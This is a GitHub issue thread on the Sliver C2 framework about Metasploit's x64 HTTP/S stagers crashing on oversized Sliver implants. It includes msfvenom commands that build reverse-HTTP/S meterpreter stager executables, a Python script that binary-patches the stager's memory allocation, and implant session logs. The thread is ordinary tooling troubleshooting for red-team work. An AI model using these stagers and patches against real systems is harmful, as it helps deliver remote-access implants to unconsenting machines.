sliver icon indicating copy to clipboard operation
sliver copied to clipboard

Metasploit's HTTP/S stagers crash when staging Sliver implant

Open justinsteven opened this issue 2 years ago • 4 comments

sliver > version

[*] Client v1.5.16 - 23eef3d15cdc116a1b9936cf392fdade37d93ad4 - linux/amd64
    Compiled at 2022-06-11 14:41:53 +1000 AEST
    Compiled with go version go1.18.2 linux/amd64


[*] Server v1.5.16 - 23eef3d15cdc116a1b9936cf392fdade37d93ad4 - linux/amd64
    Compiled at 2022-06-11 14:41:52 +1000 AEST

Describe the bug

Metasploit's HTTP/S stagers (at least the Windows ones) assume a stage that is <= 4MB ("4MB is more memory than anyone will ever need?")

This was hinted at in https://github.com/BishopFox/sliver/issues/46#issuecomment-488667556

x86: https://github.com/rapid7/metasploit-framework/blob/47fcf541e332e8be7a71ce41738be712a29071ee/lib/msf/core/payload/windows/reverse_http.rb#L454

x64: https://github.com/rapid7/metasploit-framework/blob/47fcf541e332e8be7a71ce41738be712a29071ee/lib/msf/core/payload/windows/x64/reverse_http_x64.rb#L448-L451

Sliver's implants are heftier than 4MB.

This is presumably what causes a HTTP/S stager to crash when it is staging a Sliver implant.

To Reproduce

Follow the steps at https://github.com/BishopFox/sliver/wiki/Stagers to create a HTTP and HTTPS stage-listener

Use msfvenom to create stagers:

% /opt/metasploit-framework/msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.18.0.7 LPORT=4448 LURI=test.woff -f exe -o met-http-4448.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 571 bytes
Final size of exe file: 7168 bytes
Saved as: met-http-4448.exe

% /opt/metasploit-framework/msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.18.0.7 LPORT=4449 LURI=test.woff -f exe -o met-https-4449.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 796 bytes
Final size of exe file: 7168 bytes
Saved as: met-https-4448.exe

Run the stagers. Observe that no session is opened, and Process Explorer shows a flicker of werfault.exe. Assume they've crashed.

Workaround

The following hacky Python script will binary patch an x64 HTTP/S stager. It will ensure that there is only one instance of the bytecode for shl edx, 16, and will swap it out for shl edx, 20 giving us a whopping 64MB of room.

#!/usr/bin/env python3
import argparse
import sys

"""
>>> pwn.asm("shl edx, 16", arch="amd64")
b'\xc1\xe2\x10'
>>> pwn.asm("shl edx, 20", arch="amd64")
b'\xc1\xe2\x14'
"""


class FileType(argparse.FileType):
    def __call__(self, filename):
        # Incorporate fix for binary mode stdin (https://github.com/python/cpython/pull/13165)
        # the special argument "-" means sys.std{in,out}
        if filename == '-':
            if 'r' in self._mode:
                return sys.stdin.buffer if 'b' in self._mode else sys.stdin
            elif any(c in self._mode for c in 'wax'):
                return sys.stdout.buffer if 'b' in self._mode else sys.stdout
            else:
                msg = 'argument "-" with mode %r' % self._mode
                raise ValueError(msg)

        # all other arguments are used as file names
        try:
            return open(filename, self._mode, self._bufsize, self._encoding,
                        self._errors)
        except OSError as e:
            args = {'filename': filename, 'error': e}
            message = "can't open '%(filename)s': %(error)s"
            raise argparse.ArgumentTypeError(message % args)


def stderr(m):
    sys.stderr.write(m + "\n")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-o", "--outfile", type=FileType("wb"), default="-",
                        help="Destination file (defaults to stdout)")
    parser.add_argument("infile", type=FileType("rb"), default="-",
                        help="Metasploit x64 HTTP stager (defaults to stdin)")
    args = parser.parse_args()

    data: bytes = args.infile.read()

    shl_edx_16 = b"\xc1\xe2\x10"
    shl_edx_20 = b"\xc1\xe2\x14"
    assert len(shl_edx_16) == len(shl_edx_20)

    num_instances = data.count(shl_edx_16)
    if num_instances != 1:
        stderr(f"Expected to find {shl_edx_16} one time. Found it {num_instances} times. Cannot continue.")
        return 1

    idx = data.find(shl_edx_16)

    stderr(f"Found {shl_edx_16} {num_instances} time at offset {idx}")
    stderr("Hopefully it's the 'shl edx, 16' we want to spike")

    data = data[:idx] + shl_edx_20 + data[idx+len(shl_edx_16):]

    args.outfile.write(data)

    return 0


if __name__ == "__main__":
    sys.exit(main())

Running this against the x64 HTTP and HTTPS stagers causes them to work.

[*] Session ead27aa0 LATIN_COTTAGE - 172.18.0.1:56771 (aerith) - windows/amd64 - Sun, 12 Jun 2022 00:42:02 AEST

[*] Session db979532 SUPERIOR_DREDGER - 172.18.0.1:56782 (aerith) - windows/amd64 - Sun, 12 Jun 2022 00:42:34 AEST

Expected behavior

Implant should be stageable by Metasploit's stagers without needing to patch the stager.

Suggestions

~Perhaps Metasploit would be so kind as to allocate more memory for us? If so, how much memory would we want? The biggest Windows x64 shellcode I've managed to produce is 18MB and we should expect it could grow. We could shoot for 32MB? The x64 stager uses shl to set it up and so we should keep our ask to a power of 2. If that sounds reasonable I'm happy to try to make it happen.~

~Alternatively, is there a clean solution on Sliver's end? Some kind of double staging? Write our own stager? Or fork Metasploit's? (Is their license compatible?)~

Aha. I just found:

  • https://github.com/rapid7/metasploit-framework/pull/16397
  • https://github.com/rapid7/metasploit-framework/pull/16521

Looks like @m0rv4i had a go at making the 4MB value configurable (thanks!) and it now looks like R7 folks are making changes to accommodate our use case.

We should wait for R7, and in the meantime this issue might help people who are wondering why they can't stage Sliver over HTTP/S

justinsteven avatar Jun 11 '22 15:06 justinsteven

As you've noticed, it's a known issue. We're waiting on that PR to be merged in MSF to update the Sliver code to support the new HTTP staging protocol.

Also:

We should wait for R7, and in the meantime this issue might help people who are wondering why they can't stage Sliver over HTTP/S

Technically, you can stage Sliver over HTTP(S), we do it all the time, just not with meterpreter stagers at the moment :)

rkervella avatar Jun 11 '22 23:06 rkervella

Thanks @rkervella. Is there somewhere known issues are listed that I'm missing? I was tearing my hair out over this one :sweat_smile:

justinsteven avatar Jun 11 '22 23:06 justinsteven

Haha no sorry, I believe the other "undocumented issues" that come to my mind right now are UX issues in the client, nothing as deal-breaking as this one though :)

rkervella avatar Jun 11 '22 23:06 rkervella

Technically, you can stage Sliver over HTTP(S), we do it all the time, just not with meterpreter stagers at the moment :)

Noted ;)

justinsteven avatar Jun 11 '22 23:06 justinsteven

Hi there! We wanted to let you know that https://github.com/rapid7/metasploit-framework/pull/16521 has landed and will be in the next Metasploit release!

bwatters-r7 avatar Sep 08 '22 19:09 bwatters-r7

Thank you @bwatters-r7 <3

moloch-- avatar Sep 08 '22 19:09 moloch--

https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/

moloch-- avatar Sep 17 '22 01:09 moloch--